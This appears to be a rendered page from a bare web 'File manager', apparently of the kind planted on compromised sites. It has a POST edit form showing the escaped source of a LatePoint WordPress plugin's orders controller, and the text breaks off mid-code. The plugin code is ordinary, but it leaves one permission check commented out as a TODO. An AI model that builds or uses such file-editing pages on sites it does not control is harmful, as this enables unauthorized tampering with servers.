File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/*
 * Copyright (c) 2024 LatePoint LLC. All rights reserved.
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}


if ( ! class_exists( &#039;OsOrdersController&#039; ) ) :


	class OsOrdersController extends OsController {

		function __construct() {
			parent::__construct();

			$this-&gt;views_folder          = LATEPOINT_VIEWS_ABSPATH . &#039;orders/&#039;;
			$this-&gt;vars[&#039;page_header&#039;]   = OsMenuHelper::get_menu_items_by_id( &#039;orders&#039; );
			$this-&gt;vars[&#039;breadcrumbs&#039;][] = array(
				&#039;label&#039; =&gt; __( &#039;Orders&#039;, &#039;latepoint&#039; ),
				&#039;link&#039;  =&gt; OsRouterHelper::build_link( OsRouterHelper::build_route_name( &#039;orders&#039;, &#039;index&#039; ) )
			);

			$this-&gt;action_access[&#039;public&#039;] = array_merge( $this-&gt;action_access[&#039;public&#039;], [ &#039;continue_order_intent&#039;, &#039;continue_transaction_intent&#039; ] );
		}


		public function view_order_log() {
			$activities = new OsActivityModel();
			$activities = $activities-&gt;where( [ &#039;order_id&#039; =&gt; absint($this-&gt;params[&#039;order_id&#039;]) ] )-&gt;order_by( &#039;id desc&#039; )-&gt;get_results_as_models();

			$order = new OsOrderModel( $this-&gt;params[&#039;order_id&#039;] );

			$this-&gt;vars[&#039;order&#039;]      = $order;
			$this-&gt;vars[&#039;activities&#039;] = $activities;

			$this-&gt;format_render( __FUNCTION__ );
		}


		public function continue_order_intent() {
			$order_intent_key = $this-&gt;params[&#039;order_intent_key&#039;];
			$order_intent = OsOrderIntentHelper::get_order_intent_by_intent_key($order_intent_key);

			if($order_intent-&gt;is_new_record()){
				http_response_code( 400 );
				OsDebugHelper::log(&#039;Order intent not found, id:&#039;. $order_intent_key);
				exit();
			}else{

				$order_intent-&gt;convert_to_order();

				if ( $order_intent ) {
					nocache_headers();
					wp_redirect( $order_intent-&gt;get_page_url_with_intent(), 302 );
				}
			}

		}


		public function continue_transaction_intent() {
			$intent_key = $this-&gt;params[&#039;transaction_intent_key&#039;];
			$transaction_intent = OsTransactionIntentHelper::get_transaction_intent_by_intent_key($intent_key);

			if($transaction_intent-&gt;is_new_record()){
				http_response_code( 400 );
				OsDebugHelper::log(&#039;Transaction intent not found, id:&#039;. $intent_key);
				exit();
			}else{
				$transaction_intent-&gt;convert_to_transaction();

				if ( $transaction_intent ) {
					nocache_headers();
					wp_redirect( $transaction_intent-&gt;get_page_url_with_intent(), 302 );
				}
			}
		}

		/*
			Update order (used in admin on quick side form save)
		*/

		public function update() {
			$this-&gt;create_or_update();
		}


		/*
			Create order (used in admin on quick side form save)
		*/

		public function create() {
			$this-&gt;create_or_update();
		}


		// Create/Update order from quick form in admin
		public function create_or_update() {
			$validation_errors = [];

			if ( ! empty( $this-&gt;params[&#039;order&#039;][&#039;id&#039;] ) ) {
				$this-&gt;check_nonce( &#039;edit_order_&#039; . $this-&gt;params[&#039;order&#039;][&#039;id&#039;] );
			} else {
				$this-&gt;check_nonce( &#039;new_order&#039; );
			}

			$order_params    = $this-&gt;params[&#039;order&#039;];
			$customer_params = $this-&gt;params[&#039;customer&#039;];


			$order_items_params = $this-&gt;params[&#039;order_items&#039;] ?? [];


			$order = new OsOrderModel( $order_params[&#039;id&#039;] );

			// if we are updating a order - save a copy by cloning old order
			$old_order = ( $order-&gt;is_new_record() ) ? [] : clone $order;
			$order-&gt;set_data( $order_params );


			// first validate &amp; create a customer the customer
			if ( $order-&gt;customer_id ) {
				$customer          = new OsCustomerModel( $order-&gt;customer_id );
				$old_customer_data = $customer-&gt;get_data_vars();
				$is_new_customer   = false;
			} else {
				$customer        = new OsCustomerModel();
				$is_new_customer = true;
			}
			$customer-&gt;set_data( $customer_params );
			if ( $customer-&gt;save() ) {
				if ( $is_new_customer ) {
					do_action( &#039;latepoint_customer_created&#039;, $customer );
					$this-&gt;fields_to_update[&#039;order[customer_id]&#039;] = $customer-&gt;id;
				} else {
					do_action( &#039;latepoint_customer_updated&#039;, $customer, $old_customer_data );
				}

				$order-&gt;customer_id = $customer-&gt;id;
			}else{
				$this-&gt;send_json( [
					&#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR,
					// translators: %s is the description of an error
					&#039;message&#039; =&gt; sprintf(__( &#039;Error: %s&#039;, &#039;latepoint&#039;), implode( &#039;, &#039;, $customer-&gt;get_error_messages() ) ),
					]
				);
			}

			// validate order items
			foreach ( $order_items_params as $order_item_id =&gt; $order_item ) {
				foreach ( $order_item[&#039;bookings&#039;] as $booking_id =&gt; $booking_params ) {
					$booking                = OsOrdersHelper::create_booking_object_from_booking_data_form( $booking_params );
					$booking-&gt;customer_id   = $order-&gt;customer_id;
					if ( !$booking-&gt;validate(false, [&#039;order_item_id&#039;]) ) {
						$validation_errors = array_merge($validation_errors, $booking-&gt;get_error_messages());
					}
				}
			}

			// check if there are errors saving bookings
			if($validation_errors){
				// translators: %s is the description of an error
				$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; sprintf(__( &#039;Error: %s&#039;, &#039;latepoint&#039;), implode( &#039;, &#039;, $validation_errors ) ) ) );
			}

			if ( $old_order ) {
				// make sure old order items are still there, if not - remove them
				$order_items = $order-&gt;get_items();
				foreach ( $order_items as $order_item ) {
					if ( ! isset( $order_items_params[ $order_item-&gt;id ] ) ) {
						$order_item_id_to_delete = $order_item-&gt;id;
						/**
						 * Fires right before an order item is about to be deleted
						 *
						 * @param {integer} $order_item_id ID of the Order Item which will be deleted
						 *
						 * @since 5.0.0
						 * @hook latepoint_order_item_will_be_deleted
						 *
						 */
						do_action( &#039;latepoint_order_item_will_be_deleted&#039;, $order_item_id_to_delete );

						$order_item-&gt;delete();

						/**
						 * Fires right after an order item has been deleted
						 *
						 * @param {integer} $order_item_id ID of the Order Item that was deleted
						 *
						 * @since 5.0.0
						 * @hook latepoint_order_item_deleted
						 *
						 */
						do_action( &#039;latepoint_order_item_deleted&#039;, $order_item_id_to_delete );
						OsActivitiesHelper::log_order_item_deleted($order_item);
					} else {
						// it&#039;s a bundle order item - search for bookings that are attached to this bundle and remove them if not found in passed params list
						if ( $order_item-&gt;is_bundle() ) {
							$old_bundle_bookings = OsOrdersHelper::get_bookings_for_order_item( $order_item-&gt;id );
							if ( $old_bundle_bookings ) {
								foreach ( $old_bundle_bookings as $old_bundle_booking ) {
									if ( empty( $order_items_params[ $order_item-&gt;id ][&#039;bookings&#039;][ $old_bundle_booking-&gt;id ] ) ) {

										if ( OsRolesHelper::can_user_make_action_on_model_record( $old_bundle_booking, &#039;delete&#039; ) ) {
											$booking_id_to_delete = $old_bundle_booking-&gt;id;

											/**
											 * Fires right before a booking is about to be deleted
											 *
											 * @param {integer} $booking_id ID of the booking that will be deleted
											 *
											 * @since 5.0.0
											 * @hook latepoint_booking_will_be_deleted
											 *
											 */
											do_action( &#039;latepoint_booking_will_be_deleted&#039;, $booking_id_to_delete );

											$old_bundle_booking-&gt;delete();
											/**
											 * Fires right after a booking has been deleted
											 *
											 * @param {integer} $booking_id ID of the booking that was deleted
											 *
											 * @since 5.0.0
											 * @hook latepoint_booking_deleted
											 *
											 */
											do_action( &#039;latepoint_booking_deleted&#039;, $booking_id_to_delete );
											OsActivitiesHelper::log_booking_deleted($old_bundle_booking);
										} else {
											OsDebugHelper::log( &#039;Not allowed: Deleting Booking&#039;, &#039;permissions_error&#039; );
										}
									}
								}
							}
						}
					}
				}
			}

			// Because price is not in allowed_params to bulk set, check if it&#039;s passed in params and set it, OTHERWISE CALCULATE IT
			if ( isset( $order_params[&#039;total&#039;] ) ) {
				$order-&gt;total = OsParamsHelper::sanitize_param( $order_params[&#039;total&#039;], &#039;money&#039; );
			}
			if ( isset( $order_params[&#039;subtotal&#039;] ) ) {
				$order-&gt;subtotal = OsParamsHelper::sanitize_param( $order_params[&#039;subtotal&#039;], &#039;money&#039; );
			}

			// save price breakdown, we only need to save before and after subtotal, as total and subtotal values are stored on the Order record itself
			if ( ! empty( $this-&gt;params[&#039;price_breakdown&#039;] ) ) {
				$order-&gt;price_breakdown = wp_json_encode( OsOrdersHelper::generate_price_breakdown_from_params($this-&gt;params[&#039;price_breakdown&#039;]) );
			}

			// Check if we have to create a payment request
			$create_payment_request = (sanitize_text_field($this-&gt;params[&#039;create_payment_request&#039;] ?? &#039;&#039;) == LATEPOINT_VALUE_ON);
			if($create_payment_request){
				$payment_request_data = $this-&gt;params[&#039;payment_request&#039;];
				$payment_request_data[&#039;portion&#039;] = sanitize_text_field($payment_request_data[&#039;portion&#039;]);
				$payment_request_data[&#039;charge_amount&#039;] = sanitize_text_field($payment_request_data[&#039;charge_amount_&#039;.$payment_request_data[&#039;portion&#039;]]);
				$payment_request_data[&#039;due_at&#039;] = OsTimeHelper::custom_datetime_utc_in_db_format(sanitize_text_field($payment_request_data[&#039;due_at&#039;]).&#039; 23:59:59&#039;);
				$order-&gt;set_initial_payment_data_value(&#039;time&#039;, LATEPOINT_PAYMENT_TIME_NOW, false);
				$order-&gt;set_initial_payment_data_value(&#039;portion&#039;, $payment_request_data[&#039;portion&#039;], false);
				$order-&gt;set_initial_payment_data_value(&#039;charge_amount&#039;, OsMoneyHelper::convert_amount_from_money_input_to_db_format($payment_request_data[&#039;charge_amount&#039;], false));

				$payment_request = new OsPaymentRequestModel();

				$payment_request = $payment_request-&gt;set_data($payment_request_data);

			}else{
				$order-&gt;set_initial_payment_data_value(&#039;time&#039;, LATEPOINT_PAYMENT_TIME_LATER);
				$payment_request = null;
			}

			if ( $order-&gt;save() ) {

				// save transactions
				if ( ! empty( $this-&gt;params[&#039;transactions&#039;] ) ) {
					foreach ( $this-&gt;params[&#039;transactions&#039;] as $transaction_params ) {
						if ( ! empty( $transaction_params[&#039;id&#039;] ) &amp;&amp; filter_var( $transaction_params[&#039;id&#039;], FILTER_VALIDATE_INT ) ) {
							// update existing transaction
							$transaction        = new OsTransactionModel( $transaction_params[&#039;id&#039;] );
							$is_new_transaction = false;
						} else {
							// new transaction
							$transaction        = new OsTransactionModel();
							$is_new_transaction = true;
						}
						unset( $transaction_params[&#039;id&#039;] );
						$transaction_params[&#039;invoice_id&#039;] = filter_var( $transaction_params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ? $transaction_params[&#039;invoice_id&#039;] : null;
						$transaction-&gt;set_data( $transaction_params );
						$transaction-&gt;order_id    = $order-&gt;id;
						$transaction-&gt;customer_id = $customer-&gt;id;
						$transaction-&gt;status      = LATEPOINT_TRANSACTION_STATUS_SUCCEEDED;
						$transaction-&gt;save();
						if ( $is_new_transaction ) {
							/**
							 * Transaction for order was created
							 *
							 * @param {OsTransactionModel} $transaction instance of transaction model that was created
							 *
							 * @since 5.0.0
							 * @hook latepoint_transaction_created
							 *
							 */
							do_action( &#039;latepoint_transaction_created&#039;, $transaction );
						}
					}
				}
				foreach ( $order_items_params as $order_item_id =&gt; $order_item ) {
					$order_item_model          = new OsOrderItemModel();
					$order_item_model-&gt;variant = $order_item[&#039;variant&#039;];
					if ( strpos( $order_item_id, &#039;new_&#039; ) === false ) {
						$order_item_model-&gt;load_by_id( $order_item_id );
					}
					if ( $order_item_model-&gt;is_bundle() ) {
						$order_item_model-&gt;item_data = base64_decode( $order_item[&#039;item_data&#039;] );
						$order_item_model-&gt;recalculate_prices();
					}


					$order_item_model-&gt;order_id = $order-&gt;id;
					if ( $order_item_model-&gt;save() ) {
						foreach ( $order_item[&#039;bookings&#039;] as $booking_id =&gt; $booking_params ) {
							$booking     = new OsBookingModel();
							$old_booking = false;
							if ( strpos( $order_item_id, &#039;new_&#039; ) === false ) {
								$booking-&gt;load_by_id( $booking_id );
								if ( ! $booking-&gt;is_new_record() ) {
									$old_booking = clone $booking;
								}
							}

							$booking                = OsOrdersHelper::create_booking_object_from_booking_data_form( $booking_params );
							$booking-&gt;customer_id   = $order-&gt;customer_id;
							$booking-&gt;order_item_id = $order_item_model-&gt;id;
							$booking-&gt;form_id       = $booking_id;
							if ( $booking-&gt;save() ) {
								if ( $order_item_model-&gt;is_booking() ) {
									$order_item_model-&gt;item_data = $booking-&gt;generate_item_data();
									$order_item_model-&gt;recalculate_prices();
									$order_item_model-&gt;save();
								}
								if ( $old_booking ) {
									do_action( &#039;latepoint_booking_updated&#039;, $booking, $old_booking );
									if($old_booking-&gt;status != $booking-&gt;status){
										do_action( &#039;latepoint_booking_change_status&#039;, $booking, $old_booking );
										OsActivitiesHelper::log_booking_change_status($booking, $old_booking);
									}
								} else {
									do_action( &#039;latepoint_booking_created&#039;, $booking );
								}
							} else {
								OsDebugHelper::log( &#039;Error saving booking (admin)&#039;, &#039;booking_save_error&#039;, $booking-&gt;get_error_messages() );
							}
						}
					} else {
						OsDebugHelper::log( &#039;Error saving order item (admin)&#039;, &#039;order_item_save_error&#039;, $order_item_model-&gt;get_error_messages() );
					}
				}


				if ( $old_order ) {
					/**
					 * Order was updated
					 *
					 * @param {OsOrderModel} $order instance of order model after it was updated
					 * @param {OsOrderModel} $old_order instance of order model before it was updated
					 *
					 * @since 5.0.0
					 * @hook latepoint_order_updated
					 *
					 */
					do_action( &#039;latepoint_order_updated&#039;, $order, $old_order );
				} else {
					OsInvoicesHelper::create_invoices_for_new_order($order, $payment_request);
					/**
					 * Order was created
					 *
					 * @param {OsOrderModel} $order instance of order model that was created
					 *
					 * @since 5.0.0
					 * @hook latepoint_order_created
					 *
					 */
					do_action( &#039;latepoint_order_created&#039;, $order );
				}

				$status        = LATEPOINT_STATUS_SUCCESS;
				// translators: %s is a link to the updated order
				$response_html = sprintf( ( ( $old_order ) ? __( &#039;Order Updated ID: %s&#039;, &#039;latepoint&#039; ) : __( &#039;Order Created ID: %s&#039;, &#039;latepoint&#039; ) ), &#039;&lt;span class=&quot;os-notification-link&quot; &#039; . OsOrdersHelper::quick_order_btn_html( $order-&gt;id ) . &#039;&gt;&#039; . $order-&gt;id . &#039;&lt;/span&gt;&#039; );
			} else {
				OsDebugHelper::log( &#039;Error saving order (admin)&#039;, &#039;order_save_error&#039;, $order-&gt;get_error_messages() );
				$status        = LATEPOINT_STATUS_ERROR;

				// translators: %s is an error message
				$response_html = sprintf(__( &#039;Error: %s&#039;, &#039;latepoint&#039;), implode( &#039;, &#039;, $order-&gt;get_error_messages() ));
			}

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html ) );
			}

		}


		// reloads a section of a quick edit form that has a price breakdown
		public function reload_price_breakdown() {
			$order = new OsOrderModel();
			$order-&gt;set_data( $this-&gt;params[&#039;order&#039;] );

			$order_items_params = $this-&gt;params[&#039;order_items&#039;] ?? [];
			foreach ( $order_items_params as $order_items_param ) {
				$order-&gt;items[] = OsOrdersHelper::create_order_item_object( $order_items_param );
			}

			$order-&gt;subtotal = $order-&gt;recalculate_subtotal();
			$order-&gt;total    = $order-&gt;recalculate_total();

			/**
			 * Reloads price breakdown rows
			 *
			 * @since 5.0.0
			 * @hook latepoint_register_role
			 *
			 * @param {OsOrderModel} $order Order for which to reload price breakdown
			 * @returns {OsOrderModel} Filtered order with updated price breakdown rows
			 */
			$order           = apply_filters( &#039;latepoint_order_reload_price_breakdown&#039;, $order );

			// we don&#039;t need to generate balance and payments info as it is printed in a separate block
			$this-&gt;vars[&#039;price_breakdown_rows&#039;] = $order-&gt;generate_price_breakdown_rows( [ &#039;balance&#039;, &#039;payments&#039; ], true );

			$this-&gt;vars[&#039;order&#039;] = $order;
			$this-&gt;format_render( __FUNCTION__ );
		}

		function reload_balance_and_payments() {
			$order_params = $this-&gt;params[&#039;order&#039;];
			$order_items_params = $this-&gt;params[&#039;order_items&#039;] ?? [];

			$order = new OsOrderModel();
			$order-&gt;set_data( $order_params );

			foreach ( $order_items_params as $order_items_param ) {
				$order-&gt;items[] = OsOrdersHelper::create_order_item_object( $order_items_param );
			}


			// Because price is not in allowed_params to bulk set, check if it&#039;s passed in params and set it, OTHERWISE CALCULATE IT
			if ( isset( $order_params[&#039;total&#039;] ) ) {
				$order-&gt;total = OsParamsHelper::sanitize_param( $order_params[&#039;total&#039;], &#039;money&#039; );
			}
			if ( isset( $order_params[&#039;subtotal&#039;] ) ) {
				$order-&gt;subtotal = OsParamsHelper::sanitize_param( $order_params[&#039;subtotal&#039;], &#039;money&#039; );
			}


			$this-&gt;vars[&#039;order&#039;] = $order;
			$this-&gt;format_render( __FUNCTION__ );
		}

		function generate_bundle_order_item_block() {
			$bundle = new OsBundleModel( $this-&gt;params[&#039;bundle_id&#039;] );

			$order_item_id = OsUtilHelper::generate_form_id();
			$response_html = &#039;&lt;div class=&quot;order-item order-item-variant-bundle&quot; data-order-item-id=&quot;&#039; . $order_item_id . &#039;&quot;&gt;&#039;;
			$response_html .= OsOrdersHelper::generate_order_item_pill_for_bundle( $bundle, $order_item_id );
			$response_html .= &#039;&lt;/div&gt;&#039;;

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ) );
			}
		}

		function generate_booking_order_item_block() {

			if ( ! empty( $this-&gt;params[&#039;order_item_variant&#039;] ) &amp;&amp; ( $this-&gt;params[&#039;order_item_variant&#039;] == LATEPOINT_ITEM_VARIANT_BUNDLE ) ) {
				// booking for bundle, we don&#039;t need to wrap in order-item block because order item is a bundle
				$booking       = OsBookingHelper::build_booking_model_from_item_data( json_decode( base64_decode( $this-&gt;params[&#039;booking_item_data&#039;] ), true ) );
				$response_html = OsOrdersHelper::booking_data_form_for_order_item_id( $this-&gt;params[&#039;order_item_id&#039;], $booking, LATEPOINT_ITEM_VARIANT_BUNDLE, false );
			} else {
				// regular booking
				$booking       = OsBookingHelper::prepare_new_from_params( $this-&gt;params );
				$order_item_id = OsUtilHelper::generate_form_id();
				$response_html = &#039;&lt;div class=&quot;order-item order-item-variant-booking&quot; data-order-item-id=&quot;&#039; . $order_item_id . &#039;&quot;&gt;&#039;;
				$response_html .= OsOrdersHelper::booking_data_form_for_order_item_id( $order_item_id, $booking, LATEPOINT_ITEM_VARIANT_BOOKING, false );
				$response_html .= &#039;&lt;/div&gt;&#039;;
			}


			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ) );
			}
		}

		function fold_booking_data_form() {
			// input fields are formatted in customer preferred format, we need to convert that to database format Y-m-d
			$order_item_id = $this-&gt;params[&#039;order_item_id&#039;];
			$booking_id    = $this-&gt;params[&#039;booking_id&#039;];

			$booking_params = $this-&gt;params[&#039;order_items&#039;][ $order_item_id ][&#039;bookings&#039;][ $booking_id ];
			$booking        = OsOrdersHelper::create_booking_object_from_booking_data_form( $booking_params );

			if ( $this-&gt;params[&#039;order_items&#039;][ $order_item_id ][&#039;variant&#039;] == LATEPOINT_ITEM_VARIANT_BUNDLE ) {
				$response_html = OsOrdersHelper::generate_order_item_pill_for_bundle_booking( $booking, $order_item_id );
			} else {
				$response_html = OsOrdersHelper::generate_order_item_pill_for_booking( $booking, $order_item_id );
			}
			$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ) );
		}

		function generate_order_item_booking_data_form() {
			$order_item          = new OsOrderItemModel();
			$order_item-&gt;variant = $this-&gt;params[&#039;order_item_variant&#039;] ?? LATEPOINT_ITEM_VARIANT_BOOKING;
			if ( ! empty( $this-&gt;params[&#039;order_item_id&#039;] ) ) {
				// existing order item
				if ( strpos( $this-&gt;params[&#039;order_item_id&#039;], &#039;new_&#039; ) !== false ) {
					$order_item-&gt;form_id = $this-&gt;params[&#039;order_item_id&#039;];
				} else {
					$order_item-&gt;id = $this-&gt;params[&#039;order_item_id&#039;];
				}
				$order_item-&gt;item_data = ! empty( $this-&gt;params[&#039;order_item_item_data&#039;] ) ? base64_decode( $this-&gt;params[&#039;order_item_item_data&#039;] ) : &#039;&#039;;
				if ( $order_item-&gt;is_bundle() ) {
					$booking_item_data = ! empty( $this-&gt;params[&#039;booking_item_data&#039;] ) ? base64_decode( $this-&gt;params[&#039;booking_item_data&#039;] ) : &#039;&#039;;
					$booking           = OsBookingHelper::build_booking_model_from_item_data( json_decode( $booking_item_data, true ) );
				} else {
					$booking = $order_item-&gt;build_original_object_from_item_data();
				}
			} else {
				// new order item
				$booking = OsBookingHelper::prepare_new_from_params( $this-&gt;params );
			}

			$response_html = OsOrdersHelper::booking_data_form_for_order_item_id( $order_item-&gt;get_form_id(), $booking, $order_item-&gt;variant );
			$this-&gt;send_json( array( &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ) );
		}

		function quick_edit() {

			$customers = new OsCustomerModel();
			// only load customers that belong to logged in agent, if any
			if ( ! OsRolesHelper::are_all_records_allowed( &#039;agent&#039; ) ) {
				$customers-&gt;select( LATEPOINT_TABLE_CUSTOMERS . &#039;.*&#039; )-&gt;join( LATEPOINT_TABLE_BOOKINGS, [ &#039;customer_id&#039; =&gt; LATEPOINT_TABLE_CUSTOMERS . &#039;.id&#039; ] )-&gt;group_by( LATEPOINT_TABLE_CUSTOMERS . &#039;.id&#039; )-&gt;where( [ LATEPOINT_TABLE_BOOKINGS . &#039;.agent_id&#039; =&gt; OsRolesHelper::get_allowed_records( &#039;agent&#039; ) ] );
			}


			$customers_arr           = $customers-&gt;order_by( &#039;first_name asc, last_name asc&#039; )-&gt;set_limit( 20 )-&gt;get_results_as_models();
			$this-&gt;vars[&#039;customers&#039;] = $customers_arr;

			// CREATING NEW ORDER
			$order    = new OsOrderModel();
			$order_id = $this-&gt;params[&#039;id&#039;] ?? false;

			if ( ! empty( $this-&gt;params[&#039;booking_id&#039;] ) ) {
				$preselected_booking    = new OsBookingModel( $this-&gt;params[&#039;booking_id&#039;] );
				$preselected_order_item = new OsOrderItemModel( $preselected_booking-&gt;order_item_id );
				$order_id               = $preselected_order_item-&gt;order_id;
			} else {
				$preselected_booking    = false;
				$preselected_order_item = false;
			}

			if ( $order_id ) {
				// EDITING EXISTING ORDER
				$order = new OsOrderModel( $order_id );
				// TODO add this check for order
//				if(!OsRolesHelper::can_user_make_action_on_model_record($order, &#039;view&#039;)){
//					$this-&gt;send_json(array(&#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; &#039;Not Allowed&#039;));
//				}

				$transactions = $order-&gt;get_transactions();

			} else {
				// NEW ORDER

				// LOAD FROM PASSED PARAMS
				$order-&gt;status             = OsOrdersHelper::get_default_order_status();
				$order-&gt;fulfillment_status = $order-&gt;get_default_fulfillment_status();

				if ( ! empty( $this-&gt;params[&#039;customer_id&#039;] ) ) {
					$order-&gt;customer_id = $this-&gt;params[&#039;customer_id&#039;];
				}

				$new_booking                 = OsBookingHelper::prepare_new_from_params( $this-&gt;params );
				$new_booking                 = apply_filters( &#039;latepoint_prepare_booking_for_quick_view&#039;, $new_booking );
				$order_item_model            = new OsOrderItemModel();
				$order_item_model-&gt;variant   = LATEPOINT_ITEM_VARIANT_BOOKING;
				$order_item_model-&gt;item_data = $new_booking-&gt;generate_item_data();

				$order-&gt;items[] = $order_item_model;

				$order-&gt;total    = $order-&gt;recalculate_total();
				$order-&gt;subtotal = $order-&gt;recalculate_subtotal();

				$transactions = [];
			}

			$bundles               = new OsBundleModel();
			$bundles               = $bundles-&gt;should_be_active()-&gt;get_results_as_models();
			$this-&gt;vars[&#039;bundles&#039;] = $bundles;


			$this-&gt;vars[&#039;price_breakdown_rows&#039;] = $order-&gt;generate_price_breakdown_rows();

			$order = apply_filters( &#039;latepoint_prepare_order_for_quick_view&#039;, $order );

			$order_bookings = $order-&gt;get_bookings_from_order_items();
			$order_bundles  = $order-&gt;get_bundles_from_order_items();


			$this-&gt;vars[&#039;selected_customer&#039;]           = new OsCustomerModel( $order-&gt;customer_id );
			$this-&gt;vars[&#039;order&#039;]                       = $order;
			$this-&gt;vars[&#039;preselected_booking&#039;]         = $preselected_booking;
			$this-&gt;vars[&#039;preselected_order_item&#039;]      = $preselected_order_item;
			$this-&gt;vars[&#039;show_only_preselected_items&#039;] = $preselected_booking &amp;&amp; $preselected_order_item &amp;&amp; ( ( count( $order_bookings ) &gt; 1 ) || ( count( $order_bundles ) ) || ( $order_bundles &amp;&amp; $order_bookings ) );

			$this-&gt;vars[&#039;order_bookings&#039;]              = $order_bookings;
			$this-&gt;vars[&#039;order_bundles&#039;]               = $order_bundles;
			$this-&gt;vars[&#039;transactions&#039;]                = $transactions;
			$this-&gt;vars[&#039;default_fields_for_customer&#039;] = OsSettingsHelper::get_default_fields_for_customer();
			$this-&gt;format_render( __FUNCTION__ );
		}

		public function edit_form() {
			$order = ( empty( $this-&gt;params[&#039;id&#039;] ) ) ? new OsOrderModel() : new OsOrderModel( $this-&gt;params[&#039;id&#039;] );
			// legacy fix for older orders that didn&#039;t have portion column, get it from connected order
			if ( ! $order-&gt;is_new_record() &amp;&amp; empty( $order-&gt;payment_portion ) &amp;&amp; ! empty( $order-&gt;booking_id ) ) {
				$booking = new OsBookingModel( $order-&gt;booking_id );
				if ( ! empty( $booking-&gt;id ) ) {
					$order-&gt;payment_portion = $booking-&gt;payment_portion;
				}
			}
			$this-&gt;vars[&#039;real_or_rand_id&#039;] = ( $order-&gt;is_new_record() ) ? &#039;new_order_&#039; . OsUtilHelper::random_text( &#039;alnum&#039;, 5 ) : $order-&gt;id;
			$this-&gt;vars[&#039;order&#039;]           = $order;

			$this-&gt;format_render( __FUNCTION__ );
		}

		public function destroy() {
			if ( filter_var( $this-&gt;params[&#039;id&#039;], FILTER_VALIDATE_INT ) ) {
				$this-&gt;check_nonce( &#039;destroy_order_&#039; . $this-&gt;params[&#039;id&#039;] );
				$order = new OsOrderModel( $this-&gt;params[&#039;id&#039;] );
				if ( $order-&gt;delete() ) {
					$status        = LATEPOINT_STATUS_SUCCESS;
					$response_html = __( &#039;Order Removed&#039;, &#039;latepoint&#039; );
				} else {
					$status        = LATEPOINT_STATUS_ERROR;
					$response_html = __( &#039;Error Removing Order&#039;, &#039;latepoint&#039; );
				}
			} else {
				$status        = LATEPOINT_STATUS_ERROR;
				$response_html = __( &#039;Error Removing Order&#039;, &#039;latepoint&#039; );
			}
			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;send_json( array( &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html ) );
			}
		}

		/*
			Index of orders
		*/

		public function index() {

			$per_page = OsSettingsHelper::get_number_of_records_per_page();
			$page_number = isset($this-&gt;params[&#039;page_number&#039;]) ? $this-&gt;params[&#039;page_number&#039;] : 1;

			$this-&gt;vars[&#039;page_header&#039;] = false;

			$orders = new OsOrderModel();


			// TABLE SEARCH FILTERS
			$filter     = $this-&gt;params[&#039;filter&#039;] ?? false;
			$query_args = [];
			if ( $filter ) {
				if ( ! empty( $filter[&#039;id&#039;] ) ) {
					$query_args[&#039;id&#039;] = $filter[&#039;id&#039;];
				}
				if ( ! empty( $filter[&#039;total&#039;] ) ) {
					$query_args[&#039;total&#039;] = $filter[&#039;total&#039;];
				}
				if ( ! empty( $filter[&#039;status&#039;] ) ) {
					$query_args[&#039;status&#039;] = $filter[&#039;status&#039;];
				}
				if ( ! empty( $filter[&#039;payment_status&#039;] ) ) {
					$query_args[&#039;payment_status&#039;] = $filter[&#039;payment_status&#039;];
				}
				if ( ! empty( $filter[&#039;fulfillment_status&#039;] ) ) {
					$query_args[&#039;fulfillment_status&#039;] = $filter[&#039;fulfillment_status&#039;];
				}
				if ( ! empty( $filter[&#039;confirmation_code&#039;] ) ) {
					$query_args[&#039;confirmation_code LIKE&#039;] = &#039;%&#039; . $filter[&#039;confirmation_code&#039;] . &#039;%&#039;;
				}

				if ( ! empty( $filter[&#039;customer&#039;][&#039;full_name&#039;] ) ) {
					$orders-&gt;select( LATEPOINT_TABLE_ORDERS . &#039;.*, &#039; . LATEPOINT_TABLE_CUSTOMERS . &#039;.first_name, &#039; . LATEPOINT_TABLE_CUSTOMERS . &#039;.last_name&#039; );
					$orders-&gt;join( LATEPOINT_TABLE_CUSTOMERS, [ &#039;id&#039; =&gt; LATEPOINT_TABLE_ORDERS . &#039;.customer_id&#039; ] );

					$query_args[ &#039;concat_ws(&quot; &quot;, &#039; . LATEPOINT_TABLE_CUSTOMERS . &#039;.first_name,&#039; . LATEPOINT_TABLE_CUSTOMERS . &#039;.last_name) LIKE&#039; ] = &#039;%&#039; . $filter[&#039;customer&#039;][&#039;full_name&#039;] . &#039;%&#039;;
					$this-&gt;vars[&#039;customer_name_query&#039;]                                                                                             = $filter[&#039;customer&#039;][&#039;full_name&#039;];

				}

				if ( ! empty( $filter[&#039;created_at_from&#039;] ) &amp;&amp; ! empty( $filter[&#039;created_at_to&#039;] ) ) {
					$query_args[&#039;created_at &gt;=&#039;] = $filter[&#039;created_at_from&#039;] . &#039; 00:00:00&#039;;
					$query_args[&#039;created_at &lt;=&#039;] = $filter[&#039;created_at_to&#039;] . &#039; 23:59:59&#039;;
				}
			}


			// OUTPUT CSV IF REQUESTED
			if ( isset( $this-&gt;params[&#039;download&#039;] ) &amp;&amp; $this-&gt;params[&#039;download&#039;] == &#039;csv&#039; ) {
				$csv_filename = &#039;payments_&#039; . OsUtilHelper::random_text() . &#039;.csv&#039;;

				header( &quot;Content-Type: text/csv&quot; );
